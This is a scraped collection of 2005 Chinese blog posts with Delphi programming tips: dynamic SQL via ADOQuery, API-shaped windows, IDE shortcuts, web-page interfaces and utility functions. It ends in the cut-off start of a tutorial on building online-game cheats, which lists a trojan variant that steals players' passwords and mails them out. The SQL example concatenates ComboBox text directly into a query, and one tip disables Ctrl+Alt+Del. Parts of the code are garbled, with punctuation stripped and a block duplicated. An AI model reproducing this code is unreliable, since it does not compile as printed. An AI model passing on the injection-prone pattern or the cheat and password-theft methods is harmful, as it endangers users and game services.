接下来是动态执行SQL命令,这在实际中也是很重要的，比如说：一般我们会用ComboBox组件执行的时候来选择所需的字段，如某表中的姓名，选中后感知组件就会显示你指定的姓名，这不是变的很方便了吗？当然在实际中也是必须的。动态就这样产生了！在此提供在ComboBox组件的OnChange事件程序中的代码：

procedure TForm1.ComboBox1Change(Sender: TObject);

//申明装载sql命令的字符串变量

var

mysql:string;

begin

//建立基本的SQL命令内容

mysql:='select * from 成绩单 order by ';

//取消数据库的连接

adoquery1.Close;或adoquery1.Active:=false；

//清除原本的sql命令

adoquery1.SQL.Clear;

//串接新的SQL命令

adoquery1.sql.Add(mysql+combobox1.Text);

//重新建立数据库连接

adoquery1.Open;

//将目前使用的SQL命令内容显示在标题栏中

caption:=adoquery1.SQL.Text;

//指定新的sql命令

//adoquery1.SQL.Add(combobox1.Text);

//以新的sql 命令连接数据库

adoquery1.Active:=true;

end;

end.

以上是我学SQL在Delphi的一些简单的应用，供大家参考！

//清除原本的sql命令

adoquery1.SQL.Clear;

//串接新的SQL命令

adoquery1.sql.Add(mysql+combobox1.Text);

//重新建立数据库连接

adoquery1.Open;

//将目前使用的SQL命令内容显示在标题栏中

caption:=adoquery1.SQL.Text;

//指定新的sql命令

//adoquery1.SQL.Add(combobox1.Text);

//以新的sql 命令连接数据库

adoquery1.Active:=true;

end;

end.

以上是我学SQL在Delphi的一些简单的应用，供大家参考！

cyberfan 2005-08-12 16:04 发表评论

DELPHI中利用API函数实现多态FORM

cyberfan — Fri, 12 Aug 2005 08:04:00 GMT

实现异型FORM并不是一件难事，本文将向您介绍如何利用API函数实现圆角矩形和椭圆形FORM，并在此基础之上探讨实现TWINcontrol类的后裔的异型的实现。

欲改变FORM的形状，也就是实现对区域（region）的控制。在Win32 API程序参考手册有关区域（region）的定义是这样描述的：它可以是一个矩形，多边形，椭圆形（或者是两者的复合，或者是更多的形状），这些都可以被填充，画图，翻转，结构化并可以得到焦点执行。

由定义得出结论：区域（region）是可以被改变和操纵的，依据我们的需求可定义区域并制作出我们所要求的形状。

应当指出的是区域（region）也能对任何TWINcontrol类的后裔定义和控制（不仅仅是FORMS），就是说，可以将区域（region）的定义运用到向Tpanel或TEdit这样的对象。在改变TWINcontrol类的后裔控件的形状时，需要提供一句柄并创建一些改变形状的函数。

具体实现方式一般分为两步：

定义所需形状的区域边界形状（比如：椭圆形）。
将已定义的区域边界形状运用到窗口。

这里，我们将通过调用Windows API函数完成以上两个步骤，下面就具体函数的应用予以说明：

一、实现第一步：定义区域边界。

在这里将调用三个WinAPI，这三个函数是：

CreateEllipticRgn（）功能是生成椭圆形区域；

CreateRoundRectRgn（）功能是生成圆角矩形区域；

CreatePolygonRgn（）功能是生成多边形区域，Windows要确保使其顶点自动相连形成一封闭的区域。

这三个函数通过返回的指针变量标识所生成的区域将被第二步所应用。这些函数在Delphi中的函数声明及参数含义说明如下：

椭圆形区域生成函数：
函数原形：HRGN CreateEllipticRgn(int nLeftRect,int nTopRect,int nRightRect,int nBottomRect);
参数含义：
nLeftRect，nTopRect：区域的左上角坐标；
nRightRect, nBottomRect：区域的右下角坐标；
圆角矩形区域生成函数：
函数原形：HRGN CreateRoundRectRgn(int nLeftRect,int nTopRect,int nRightRect,int nBottomRect,int nWidthEllipse,int nHeightEllipse);
参数含义：
nLeftRect, nTopRect：区域的左上角坐标；
nRightRect, nBottomRect：区域的右下角坐标；
nWidthEllipse,nHeightEllipse：圆角的宽度和高度；
多边形区域生成函数：
函数原形：HRGN CreatePolygonRgn(CONST POINT *lppt,int cPoints, int fnPolyFillMode);
参数含义：
Lppt：指向一个POINT类型的数组，该数组定义多边形顶点；
CPoints：定义数组中顶点数；
FnPolyFillMode：定义填充模式，可选值为ALTERNATE或WINDING。

实现第二步：将返回的HRGN类型的区域值被设置窗口区域函数调用。

设置窗口区域函数：

函数原形：int SetWindowRgn(HWND hWnd, HRGN hRgn, BOOL bRedraw);

参数说明：

hWnd：指向所操作的窗口的句柄；

hRgn：所给区域句柄；

bRedraw：是否显示重画窗口的标志。

在每一个函数的最后都需要调用SetWindowRgn函数，然后由Windows操作系统实现区域的各种形状的设置并显示。

以下将测试的FORM的整个源代码列出，在FORM上添加了四个按钮分别控制实现：椭圆形，圆角矩形，等边多边形和星形；一个Tpanel控件为了演示TWINcontrol类的后裔的区域定义和控制；一个SpinEdit控件定义多边形和星形的顶点连接数目。

源程序:

unit form_statue;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, Spin;
type
TForm1 = class(TForm)
Button1: TButton;
SpinEdit1: TSpinEdit;
Panel1: TPanel;
Button2: TButton;
Button3: TButton;
Button4: TButton;
procedure DrawRndRectRegion(wnd : HWND; rect : TRect);
procedure DrawEllipticRegion(wnd : HWND; rect : TRect);
procedure DrawPolygonRegion(wnd : HWND; rect : TRect; NumPoints : Integer; DoStarShape : Boolean);
procedure Button1Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
rgn : HRGN;
rect : TRect;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.DrawRndRectRegion(wnd : HWND; rect : TRect);
begin
rgn := CreateRoundRectRgn(rect.left, rect.top, rect.right, rect.bottom, 30, 30);
SetWindowRgn(wnd, rgn, TRUE);
end;
procedure TForm1.DrawEllipticRegion(wnd : HWND; rect : TRect);
begin
rgn := CreateEllipticRgn(rect.left, rect.top, rect.right, rect.bottom);
SetWindowRgn(wnd, rgn, TRUE);
end;
procedure TForm1.DrawPolygonRegion(wnd : HWND; rect : TRect; NumPoints : Integer; DoStarShape : Boolean);
const
RadConvert = PI/180;
Degrees= 360;
MaxLines = 100;
var
x, y,
xCenter,
yCenter,
radius,
pts,
I : Integer;
angle,
rotation: Extended;
arPts : Array[0..MaxLines] of TPoint;
begin
xCenter := (rect.Right - rect.Left) div 2;
yCenter := (rect.Bottom - rect.Top) div 2;
if DoStarShape then
begin
rotation := Degrees/(2*NumPoints);
pts := 2 * NumPoints;
end
else
begin
rotation := Degrees/NumPoints; //得到每个顶点的度数
pts := NumPoints ;
end;
radius := yCenter;
for I := 0 to pts - 1 do begin
if DoStarShape then
if (I mod 2) = 0 then
radius := Round(radius/2)
else
radius := yCenter;
angle := ((I * rotation) + 90) * RadConvert;
x := xCenter + Round(cos(angle) * radius);
y := yCenter - Round(sin(angle) * radius);
arPts[I].X := x;
arPts[I].Y := y;
end;
rgn := CreatePolygonRgn(arPts, pts, WINDING);
SetWindowRgn(wnd, rgn, TRUE);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
DrawRndRectRegion(Form1.Handle, Form1.ClientRect);
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
DrawPolygonRegion(Panel1.Handle, Panel1.BoundsRect, SpinEdit1.Value, True);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
DrawEllipticRegion(Form1.Handle, Form1.ClientRect);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
DrawPolygonRegion(Panel1.Handle, Panel1.BoundsRect, SpinEdit1.Value, False);
end;
end.

源程序在PWIN98+DELPHI5环境下调试成功，可以直接引用。

cyberfan 2005-08-12 16:04 发表评论

Delphi编写数据库程序要点

cyberfan — Fri, 12 Aug 2005 08:03:00 GMT

Delphi是著名的Borland公司开发的可视化软件开发工具。有这样一句话最为经典、贴切的描述了Delphi——"真正的程序员用C，聪明的程序员用Delphi"。很多人把Delphi称为是第四代编程语言，它具有简单、高效、功能强大等特点。和Visual C＋＋比较，Delphi更简单、更易于学习掌握，而在功能上却毫不逊色；和Visual Basic相比，Delphi则功能更强大、更实用。可以说，Delphi兼备了VC和VB的特点，所以一直是广大程序员喜爱的编程工具。

　　下面，我们将分期向大家简单介绍Delphi的特点、常用组件，以及利用Delphi开发数据库程序的方法和步骤。

　　发展至今，从Delphi 1、Delphi 2到现在的Delphi 7、Delphi 8（Borland Delphi .net），Delphi不断扩展和改进着自身的功能、特点和优势。Delphi提供了各种开发工具，包括集成环境、图像编辑（Image Editor），以及各种开发数据库的应用程序，如Database Desktop等。而且，还允许用户挂接其他的应用程序开发工具，如Borland公司的资源编辑器（Resourse Workshop）。

　　在Delphi众多的优势当中，它在数据库方面的特长显得尤为突出：适用于多种数据库结构，从客户机/服务机模式到多层数据结构模式；高效率的数据库管理系统和新一代更先进的数据库引擎；最新的数据分析手段和提供大量的企业组件。

　　首先，我们来简单了解一下Delphi是如何存取数据库的。

　　Delphi对数据库的操作主要是利用BDE（数据库引擎，Borland Database Engine的缩写）来进行。当然，通过其他方式直接访问数据库，在Delphi中也都是可以实现的。不过，对于本地数据库来说，通过BDE存取数据效率很高。对本地数据库如果能够熟练操作，编写网络数据库也就容易上手了。尤其对初学者来说，写网络数据库的机会还是不如单机本地数据库多。所以，我们把重点放在本地数据库上。

　　BDE是负责用户和数据库交流的中间媒介。事实上，应用程序是通过数据访问组件和BDE连接，再由BDE去访问数据库，完成对数据库的操作，而并非直接操作BDE。这样用户只需关心Delphi中的数据组件即可，不用直接和BDE打交道。

　　数据库组件主要分为两类："数据访问组件"和"数据控制组件"，它们和数据库的关系可用下面的关系图来示意：

　　通过BDE，几乎可以操作目前所有类型的数据库。接下来，简单介绍一下Delphi中常用的数据库组件。　　

　　1．数据访问组件（Data Access Component）

　　数据访问组件在Delphi组件面板的Data Access组件页上可以找到。这里我们应当注意：Table、Query和Storedproc三个控件，它们称为"数据集组件"，用于和数据库连接。学习者可以将这些控件视为"虚拟"的数据库，对它们的操作就可以认为是对数据库的操作。

　　（1）DataSource控件是数据集组件和数据控制组件的连接媒介。数据控制组件是用户操作数据库中数据的界面，只有通过DataSource控件才能和数据集组件连接，从而对数据进行显示、修改、维护等操作。

　　（2）Table控件是通过数据库引擎——BDE来存取数据库中的数据的。通过BDE将用户对数据库的操作（如添加、删除、修改等）传递给数据库。

　　（3）Query控件是利用SQL（Structured Query Language，结构化查询语言）通过BDE来操作数据库的，和Table控件完成的功能相似，它只是采用了SQL来实现。

　　（4）Storedproc控件是通过BDE对服务器数据库进行操作的，常用于客户/服务器（C/S）结构的数据库应用程序。

　　（5）DataBase控件一般用于建立远程的数据库服务器——客户/服务器结构的数据库应用程序和数据库之间的连接。

　　（6）Session控件是用于控制数据库应用程序和数据库连接的，主要用于复杂功能的实现，例如：多线程数据库程序设计。

　　2．数据控制组件（Data Control Component）

　　数据控制组件也可以称为数据显示组件或数据浏览组件。它们的主要功能是与数据访问组件相配合，提供给用户一个对数据进行浏览、编辑等操作的界面。数据控制组件在组件板上的DataControl页上。它们主要有：DBGrid控件、DBNavigator控件、DBText控件、 DBEdit控件、DBMemo控件、DBImage控件、DBListbox控件、DBComboBox控件、DBCheckBox控件、 DBRadioGroup控件、DBLookupListBox控件、DBLookupComboBox控件、DBRichEdit控件、 DBCtrlGrid控件、DBChart控件等。

　　此外，还有一些组件与数据库有关。例如，Decision Cube是一组主要用于数据统计工作的控件，以表格或图形等直观的方式表达统计结果。QReport是用来输出报表的控件，但是，根据经验来看，此控件不太适合中国人报表的习惯。此组件是Borland公司购买而来，性能不是太好，所以现在使用的不是很多。目前，有一些第三方控件提供的报表控件很好用，也有一些国人自己制作的报表控件，很适合中国人的习惯。

　　还有一个组件页是ADO（ActiveX Data Objects），主要是使用微软的OLE DB功能对数据库服务器中的数据进行访问和操作。其主要优点是易于使用、高速度、低内存支付和存储空间占用较少。ADO支持用于建立基于客户端/服务器和基于Web的应用程序。ADO同时具有远程数据服务（RDS）功能，通过RDS可以在一次往返过程中实现将数据从服务器移动到客户端应用程序或Web页、在客户端对数据进行处理然后将更新结果返回服务器的操作。ADO现在逐渐流行起来，ADO本身也很复杂，微软有专门的帮助文件来说明如何使用ADO，学习者有兴趣可以找相关资料进一步学习。

编写程序

在上面的准备工作做完之后，应该说，万里长征已走完了三分之一。因为有了明确的程序流程、有了基本充足的编程资源、可能碰到的难点都找到了解决方案，可谓"万事俱备，只欠东风"！由于事先准备的比较充分，即使以后程序的编写过程中可能还会碰到一些困难，但毕竟不会成为"拦路虎"的状况，我们需要做的就是拿出一大块时间，静下心来认真按照方案和流程来编写程序了。这里说明一点，在写程序之前应该首先建立空白数据库，当然也可以在设计方案时建立数据库，也可以在完成前面的五个步骤之后在正式写程序之前建立空白数据库。

编写数据库程序的几点建议

由于数据库程序和用户的交互功能较多，用户需要输入的数据量大，所以必须充分考虑到程序的错误处理，对用户可能出现的输入错误要充分考虑并在程序中尽量及时给出提示。

在保存时对输入数据进行校验，防止一些非法数据保存到数据库中，导致以后的统计、查询出现错误。

程序要写的稳定性好、容错能力强是很不容易的，从经验来看，很大一部分精力都用在防止出错、使得程序能稳定运行方面。

在完成一个功能模块的代码编写后要立即进行调试，调试通过后再编写另外一个功能的代码，这样可以防止代码都编写完毕再调试是因为可能带来的相互影响而弄不清除到底哪部分代码出现问题。

代码中关键的地方要加些注释，以防以后自己都看不懂当初是怎么写的了。将程序代码做好备份，做好"灾难恢复"的准备。（全文完）

cyberfan 2005-08-12 16:03 发表评论

DELPHI中的快捷方式一览

cyberfan — Fri, 12 Aug 2005 08:03:00 GMT

1.SHIFT+鼠标左键先选中任一控件,按键后可选中窗体(选中控件后按Esc效果一样)
2.Shift+F8 调试时弹出CPU窗口。
3.Shift+F10 等于鼠标右键（Windows快捷键）。
4.Shitf+箭头选择
5.shift +F12 快速查找窗体并打开
6.F7 （步进式调试同时追踪进入子过程）
7.F8 （步进式调试不进入子过程）
8.F9 运行
9.F12 切换EDITOR,FORM
10.Alt+F4 关闭所有编辑框中打开的源程序文件，但不关闭项目
11.ALT+鼠标左键可以块选代码，用来删除对齐的重复代码非常有用
12.Ctrl+F9 编译
13.Ctrl+shift+N(n=1,2,3,4......) 定义书签
14.Ctrl+n(n=1,2,3,4......)跳到书签n
15.CTRL +SHIFT+N 在书签N处，再按一次取消书签
16.Ctrl+PageUp 将光标移至本屏的第一行，屏幕不滚动
17.Ctrl+PageDown 将光标移至本屏的最后一行，屏幕不滚动
18.Ctrl+↓ 向下滚动屏幕，光标跟随滚动不出本屏
19.Ctrl+↑ 向上滚动屏幕，光标跟随滚动不出本屏
20.Ctrl+Home 将光标移至文件头
21.Ctrl+End 将光标移至文件尾
22.Ctrl+B Buffer List窗口
23.Ctrl+I 同Tab键
24.CTRL+J (弹出Delphi语句提示窗口，选择所需语句将自动完成一条语句)代码模板
25.Ctrl+M 同Enter键。
26.Ctrl+N 同Enter键，但光标位置保持不变
27.Ctrl+T 删除光标右边的一个单词
28.Ctrl+Y 删除光标所在行
29.CTRL+C 复制
30.CTRL+V 粘贴
31.CTRL+X 剪切
32.CTRL+Z 还原(Undo)
33.CTRL+S 保存
34.Ctrl+F 查找
35.Ctrl+L 继续查找
36.Ctrl+r 替换
37.CTRL+ENTER 定位到单元文件
38.Ctrl+F3 弹出Call Stack窗口
39.Ctrl+F4 等于File菜单中的Close项
40.Ctrl+Backspace 后退删除一个词,直到遇到一个分割符
41.Ctrl+鼠标转轮加速滚屏
42.Ctrl+O+U 切换选择块的大小写(注意松开O后再按U,Ctrl保持按下)
43.Ctrl+K+O 切换选择块为小写(注意松开K后再按O,Ctrl保持按下)
44.Ctrl+K+N 切换选择块为大写(注意松开K后再按N,Ctrl保持按下)
45.Ctrl+Shift+G 插入GUID
46.Ctrl+Shift+T 在光标行加入To-Do注释
47.Ctrl+Shift+Y 删除光标之后至本行末尾之间的文本
48.CTRL+SHIFT+C 编写申明或者补上函数，绝好!!!
49.CTRL+SHIFT+E 显示EXPLORER
50.Ctrl+Tab 在Inspector中切换Properties页和Events页
51.CTRL+SHIFT+U 代码整块左移2个空格位置
52.CTRL+SHIFT+I 代码整块右移2个空格位置
53.CTRL+SHIFT+↑ 在过程、函数、事件内部, 可跳跃到相应的过程、函数、事
件的定义（在interface和implementation之间来回切换）
54.CTRL+SHIFT+↓ 在过程、函数、事件的定义处，可跳跃到具体过程、函数、事件内部(同上)
55.Tab 在object inspector窗口按tab键将光标移动到属性名区，然后键入属性名的开头
字母可快速定位到该属性
56.Ctrl+Alt 按着Ctrl+Alt之后，可用鼠标选择一个矩形块中的代码，
并可比它进行复制，粘贴
57.Shift+↓、↑、→、← 以1像素单位更改所选控件大小
58.Ctrl+↓、↑、→、←以1像素单位更改所选控件位置
59.Ctrl+E 快速选择（呵呵，试试吧，很好玩的）
60.Ctrl+Alt+c 注释块
61.Ctrl+Alt+u&160; 取消注释块
62.Ctrl+Alt+h 生成头(更详细的设置在GExperts配置的Editor Experts属性页)
63.Ctrl+Alt+o 选择对应分隔符之间的语句
64.Ctrl+Alt+v 在对应的分隔符之间来回跳转(与已有快捷键有冲突，请更改)

cyberfan 2005-08-12 16:03 发表评论

Delphi中利用网页打造程序界面

cyberfan — Fri, 12 Aug 2005 08:02:00 GMT

大家都知道，现在的网页想要多花哨就有多花哨，比起传统Windows应用程序界面单调的菜单加按钮，不知会醒目多少。而且网页素材十分丰富，制作起来也比较简单。如果你想做一个华丽无比，动感十足的程序界面，那Web界面就是你最佳的选择。

　　第一步：根据需要，用FrontPage或者Dreamweaver做一个界面，界面加上图片，还可加上漂亮的动态Flash。Web界面与程序事件联系在一起的地方就是"超链接"，我们以一个简单的播放器程序为例。
比如：要做一个播放器，有"播放"按钮和"停止"按钮，分别设置"播放"按钮的链接为"Play_"；"停止"按钮的超链接为"Stop_"。并保存这个网页文件为"WebFrm.htm"。

　　第二步：在Delphi中新建一个Project，设置Form1的长宽和刚才设计网页一样大小，在Form1上放置一个WebBrowser1控件，设置WebBrowser1的Align属性为alClient，我们是利用TWebBrowser来显示网页界面的。代码如下：

procedure TForm1.FormCrea
teSender TObject
begin
WebBrowser1.Navigate'D\播放器\WebFrm.htm'//把"D\播放器"换成你保存WebFrm.htm的目录
end

　　第三步：关键就在这步了。在响应Web界面上"播放"和"停止"的点击事件时，就要用到TWebBrowser的OnBeforeNavigate2事件，它的代码如下：

procedure TForm1.WebBrowser1BeforeNa
vigate2Sender TObject
const pDisp IDispatch var URL Flags TargetFrameName PostData
Headers OleVariant var Cancel WordB ool

　　在它的七个参数中，我们会用到URL和Cancel这两个参数，在本例中，当你点击"播放"按钮时，URL就会返回"D\播放器\WebFrm.htm\Play_"这行字符串当点击"停止"按钮时，URL则返回"D\播放器\WebFrm.htm\Stop_"这行字符串。Cancel这个参数的用途是：当点击"播放"按钮时，Web想要跳转到"D\播放器\WebFrm.htm\Play_"这个页面，但根本没这个页面，WebBrowser1就会出现我们上网经常看到的"该页无法显示"这个页面，这时把Cancel设为TrueWebBrowser1会断开链接，就不会出现以上情况了。

　　具体代码如下：

procedure TForm1.WebBrowser1BeforeNa
vigate2Sender TObject
const pDisp IDispatch var URL Flags TargetFrameName PostData
Headers OleVariant var Cancel WordB
ool
begin
if Pos'Play_' URL > 0 then begin //当返回的URL含有"Play_"，就执行播放的代码
ShowMessage'播放'//为简单起见，用来代替播放的代码。
Cancel = True
end
else
if Pos'Stop_' URL > 0 then begin
ShowMessage'停止'//为简单起见，用来代替播放的代码。
Cancel = True
end
end

cyberfan 2005-08-12 16:02 发表评论

DELPHI基础开发技巧(一)

cyberfan — Fri, 12 Aug 2005 08:01:00 GMT

摘要: ◇[DELPHI]网络邻居复制文件uses shellapi;copyfile(pchar('newfile.txt'),pchar('//computername/direction/targer.txt'),false);◇[DELPHI]产生鼠标拖动效果通过MouseMove事件、DragOver事件、EndDrag事件实现，例如在PANEL上的LABEL：var xpanel,ypanel... 阅读全文

cyberfan 2005-08-12 16:01 发表评论

DELPHI基础开发技巧(二)

cyberfan — Fri, 12 Aug 2005 08:01:00 GMT

1、用Enter键代替Tab键
在实际的程序开发中我们经常有这样的要求，用户不喜欢用Tab键，他希望用Enter键来代替。我们应该什么做呢？
首先：设定Form的KeyPreview属性为True。
其次：把Form上的所有Button的Default属性设为False。
最后：在Form的onKeyPress事件中添加如下代码：
procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char); begin　
　if Key = #13 then　
　begin　
　　Key := #0;　
　　Perform(Wm_NextDlgCtl,0,0);　
　end;　
end;

2、命令行参数的使用
命令行参数的使用　
　　Delphi提供了访问命令行参数的方便的方式，那就是使用ParamStr和ParamCount函数。其中ParamStr(0)返回的是当前程序名，如C:TESTMYPROG.EXE，ParamStr(1)返回第一个参数，以此类推；ParamCount则是参数个数。示例如下:
　　var
　　I: Word;
　　Y: Integer;
　　begin
　　 Y := 10;
　　 for　I := 1 to ParamCount do
　　　　　begin
　　 Canvas.TextOut(5, Y, ParamStr(I));
　　 Y := Y ＋ Canvas.TextHeight(ParamStr(I)) ＋ 5;
　　 end;
　　end;

3、如何分行提示
Delphi中大部分控件都有一个实用的Hint属性，即浮动条提示。但有时提示较长，是否可以使得浮动提示条分行显示呢？其实，Hint是一个字符串（string），因而Delphi显示该字符串时会自动解释其中的回车控制符，所以只要加上回车控制符就可以了。依此原理，我们还能做出别具一格的垂直提示条。请先在form1中布置一个label，然后看示例代码：
procedure TForm1.FormCreate(Sender: TObject);
begin
　label1.Hint :='垂'+#13+'直'+#13+'提' +#13+'示';
end;

4、如何取得一个文件的文件类型呀
//要引用Shellapi单元
function MrsGetFileType(const strFilename: string): string;
var
　FileInfo: TSHFileInfo;
begin
　FillChar(FileInfo, SizeOf(FileInfo), #0);
　SHGetFileInfo(PChar(strFilename), 0, FileInfo, SizeOf(FileInfo), SHGFI_TYPENAME);
　Result := FileInfo.szTypeName;
end;

5、取得当前操作平台
5、取得当前操作平台
//定义在Type部分
TOSVersion = (osUnknown, os95, os95OSR2, os98, os98SE, osNT3, osNT4, os2K, osME,osXP);
{ *获得操作系统}
function GetOS :String;
var
　OS :TOSVersionInfo;
　OSVersion:TOSVersion;
begin
　ZeroMemory(@OS,SizeOf(OS));
　OS.dwOSVersionInfoSize:=SizeOf(OS);
　GetVersionEx(OS);
　OSVersion:=osUnknown;
　if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then
　　begin
　　　case OS.dwMajorVersion of
　　　　3: OSVersion:=osNT3;
　　　　4: OSVersion:=osNT4;
　　　　5: begin
　　　　　　 if OS.dwMinorVersion>=1 then
　　　　　　　 OSVersion:=osXP
　　　　　　 else
　　　　　　　 OSVersion:=os2K;
　　　　　 end;
　　　end;
　　end
　else
　　begin
　　　if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then
　　　　begin
　　　　　OSVersion:=os95;
　　　　　if (Trim(OS.szCSDVersion)='B') then
　　　　　　OSVersion:=os95OSR2;
　　　　end
　　　else
　　　　if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then
　　　　　begin
　　　　　　OSVersion:=os98;
　　　　　　if (Trim(OS.szCSDVersion)='A') then
　　　　　　　OSVersion:=os98SE;
　　　　　end
　　　　else
　　　　　if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) then
　　　　　　OSVersion:=osME;
　　end;
　if OSVersion=osNT3
　　then Result:='Window NT3';
　if OSVersion=OSNT4
　　then Result:='Window NT4';
　if OSVersion=os2K
　　then Result:='Winodw 2000';
　if OSVersion=osXp
　　then Result:='Winodw Xp';
　if OSVersion=os95
　　then Result:='Window 95';
　if OSVersion=os95OSR2
　　then Result:='Window 97';
　if OSVersion=os98
　　then Result:='Winodw 98';
　if OSVersion=os98SE
　　then Result:='Winodw 98SE';
　if OSVersion=osME
　　then Result:='Winodw ME';
end;

6、获取本机的IP地址
{* 获取本机的IP地址}
function GetLocalIP: string;
type
　TaPInAddr = array [0..10] of PInAddr;
　PaPInAddr = ^TaPInAddr;
var
　phe　: PHostEnt;
　pptr : PaPInAddr;
　Buffer : array [0..63] of char;
　I　　: Integer;
　GInitData　　　: TWSADATA;
begin
　WSAStartup($101, GInitData);
　Result := '';
　GetHostName(Buffer, SizeOf(Buffer));
　phe :=GetHostByName(buffer);
　if phe = nil then Exit;
　pptr := PaPInAddr(Phe^.h_addr_list);
　I := 0;
　while pptr^[I] <> nil do begin
　　result:=StrPas(inet_ntoa(pptr^[I]^));
　　Inc(I);
　end;
　WSACleanup;
end;

7、获取本机的计算机名称
{* 获取本机的计算机名称}
function TNet.GetLocalName: string;
var
　CNameBuffer : PChar;
　fl_loaded : Boolean;
　CLen : ^DWord;
begin
　GetMem(CNameBuffer,255);
　New(CLen);
　CLen^:= 255;
　fl_loaded := GetComputerName(CNameBuffer,CLen^);
　if fl_loaded then
　　GetLocalName := StrPas(CNameBuffer)
　else
　　GetLocalName := '未知';
　FreeMem(CNameBuffer,255);
　Dispose(CLen);
end;

cyberfan 2005-08-12 16:01 发表评论

DELPHI基础开发技巧(三)

cyberfan — Fri, 12 Aug 2005 08:01:00 GMT

1、计算字符串中中文的字数
function TotalChineseCount(ans: AnsiString): Integer;
var
　wis: WideString;
begin
　wis := WideString( ans );
　Result := Length( ans ) - Length( wis );
end;

2、模拟按按下键盘键(如输入法中的软键盘)

//模拟在Edit组件中按下字母a键
PostMessage(Edit1.Handle,WM_KEYDOWN,65,0);
//模拟在窗体Form1中按下Tab键
PostMessage(Form1.Handle,WM_KEYDOWN,VK_TAB,0);

3、屏蔽系统功能键，如Ctrl+Alt+Del、Ctrl+Esc
var tempint:integer;
　　SystemParametersinfo(SPI_SCREENSAVERRUNNING,1,@tempint,0);//屏蔽
　　SystemParametersinfo(SPI_SCREENSAVERRUNNING,0,@tempint,0);//取消屏蔽

4、产生GUID
Uses ComObj, ActiveX, Windows;

function GetGUID:string;
var
　Id: TGUID;
begin
　if CoCreateGuid(Id) = S_OK then
　　Result := GUIDToString(id);
end;

5、在ListBox移动鼠标时选择项目
procedure TForm1.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var
　i: integer;
begin
　i := y div listbox1.ItemHeight;
　if (listbox1.TopIndex + i) < listbox1.items.count then
　begin
　　listbox1.ItemIndex := listbox1.TopIndex + i;
　　caption := listbox1.Items[listbox1.ItemIndex];
　end;
end;

6、查找并选择指定的组合框列表内容

function TForm1.FindComboBoxList(Cbb: TComboBox; Const Text: String): Boolean;
var
　j: integer;
begin
　Result:=False;
　j:=cbb.Items.IndexOf(Text);
　if j>=0 then
　begin
　　cbb.ItemIndex:=j;
　　Result:=true;
　end;
end;

7、在TDbGrid选择全部记录
{-----------------------在TDbGrid选择全部记录-----------------------}
Function GridSelectAll(Grid: TDBGrid): Longint;
begin
　Result := 0;
　Grid.SelectedRows.Clear;
　with Grid.Datasource.DataSet do
　begin
　　First;
　　DisableControls;
　　try
　　　while not EOF do
　　　begin
　　　　Grid.SelectedRows.CurrentRowSelected := True;
　　　　inc(Result);
　　　　Next;
　　　end;
　　finally
　　　EnableControls;
　　end;
　end;
end;

8、窗口是否在最上面
procedure StayOnTop(Handle: HWND; OnTop: Boolean);
const
　csOnTop: array[Boolean] of HWND = (HWND_NOTOPMOST, HWND_TOPMOST);
begin
　SetWindowPos(Handle, csOnTop[OnTop], 0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE);
end;

9、MEMO的自动卷屏
Delphi的MEMO控件的方法不带自动卷屏，所以只能是用Message。

卷屏到光标处：　

　 SendMessage(DBMemo1.Handle, EM_SCROLLCARET, 0, 0);

向下卷屏一行

　 SendMessage(RichEdit1.Handle, EM_SCROLL, SB_LINEDOWN, 0)

cyberfan 2005-08-12 16:01 发表评论

Delphi深度之旅——网络游戏外挂制作

cyberfan — Fri, 12 Aug 2005 08:00:00 GMT

在几年前我看到别人玩网络游戏用上了外挂，做为程序员的我心里实在是不爽，想搞清楚这到底是怎么回事。就拿了一些来研究，小有心得，拿出来与大家共享，外挂无非就是分几种罢了（依制作难度）：

、动作式，所谓动作式，就是指用API发命令给窗口或API控制鼠标、键盘等，使游戏里的人物进行流动或者攻击，最早以前的"石器"外挂就是这种方式。
2、本地修改式，这种外挂跟传统上的一些游戏修改器没有两样，做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现，"精灵"的外挂这是这种方式写成的，它的难点在于找到那些地址码，找地址一般地要借助于别人的工具，有的游戏还有双码校验，正正找起来会比较困难。
3、木马式，这种外挂的目的是帮外挂制作者偷到用户的密码，做这种外挂有一定的难度，需要HOOK或键盘监视技术做底子，才可以完成，它的原理是先首截了用户的帐号或密码，然后发到指定邮箱。
4、加速式，这种外挂可以加快游戏的速度。原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。
5、封包式，这种外挂是高难度外挂，需要有很强的编程功力才可以写得出来。它的原理是先截取封包，后修改，再转发。这种外挂适用于大多数网络游戏，像WPE及一些网络游戏外挂都是用这种方式写成的，编写这种外挂需要apihook技术，winsock2技术............
　以下就用Delphi实现网络游戏外挂。
===================================================================================
上回对五种类型的外挂做了一个大体的概括，大家对这几种外挂都有了一定的了解，现在就依次（制作难度）由浅到深谈谈我对外挂制作的一些认识吧~~~~
首先，先来谈一下动作式的外挂，这也是我第一次写外挂时做的最简单的一种。
记得还在"石器"时代的时候，我看到别人挂着一种软件（外挂）人物就可以四外游走（当时我还不知道外挂怎么回事^_^），于是找了这种软件过来研究（拿来后才听别人说这叫外挂），发现这种东东其实实现起来并不难，仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已，看后就有实现这功能的冲动，随后跑到MSDN上看了一些资料，发现这种实现这几个功能，只需要几个简单的API函数就可以搞定：
1、首先我们要知道现在鼠标的位置（为了好还原现在鼠标的位置）所以我们就要用到API函数GetCursorPos，它的使用方法如下：
BOOL GetCursorPos(

LPPOINT lpPoint // address of structure for cursor position
);
2、我们把鼠标的位置移到要到人物走到的地方，我们就要用到SetCursorPos函数来移动鼠标位置，它的使用方法如下：
BOOL SetCursorPos(

int X, // horizontal position
